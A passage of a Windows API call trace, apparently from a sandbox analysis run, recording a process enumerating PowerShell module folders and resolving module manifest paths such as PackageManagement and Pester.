nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7673890 [0102.627] FindNextFileW (in: hFindFile=0x7673890, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.628] FindNextFileW (in: hFindFile=0x7673890, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0102.628] FindNextFileW (in: hFindFile=0x7673890, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.628] FindClose (in: hFindFile=0x7673890 | out: hFindFile=0x7673890) returned 1 [0102.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0102.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0102.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0102.628] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0102.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e720) returned 1 [0102.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e79c | out: lpFileInformation=0x843e79c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0102.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e71c) returned 1 [0102.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0102.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0102.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0102.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0102.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0102.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5860074 | out: lpFileInformation=0x5860074*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0102.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0102.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0102.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0102.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0102.629] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0102.630] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0102.630] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0102.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0102.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0102.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7673990 [0102.630] FindNextFileW (in: hFindFile=0x7673990, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.630] FindNextFileW (in: hFindFile=0x7673990, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0102.631] FindNextFileW (in: hFindFile=0x7673990, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.631] FindClose (in: hFindFile=0x7673990 | out: hFindFile=0x7673990) returned 1 [0102.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0102.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0102.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0102.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0102.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e720) returned 1 [0102.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843e79c | out: lpFileInformation=0x843e79c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0102.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e71c) returned 1 [0102.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0102.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0102.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0102.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0102.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0102.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x586238c | out: lpFileInformation=0x586238c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0102.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0102.632] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0102.632] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0102.632] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0102.632] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0102.632] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0102.633] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0102.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0102.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0102.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0102.743] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0102.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0102.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0102.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0102.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.747] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0102.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.748] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0102.748] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0102.748] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0102.748] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0102.749] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0102.749] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0102.749] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0102.749] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DnsClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0102.749] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0102.750] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\International", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0102.750] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0102.750] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0102.750] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Kds", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0102.750] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0102.751] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0102.751] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0102.751] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0102.751] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0102.751] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0102.752] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0102.752] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0102.752] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0102.752] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0102.753] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0102.753] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0102.753] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0102.753] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0102.753] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0102.754] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0102.754] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0102.754] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0102.754] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0102.754] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0102.760] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0102.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0102.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0102.761] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0102.761] GetFullPathNameW (in: 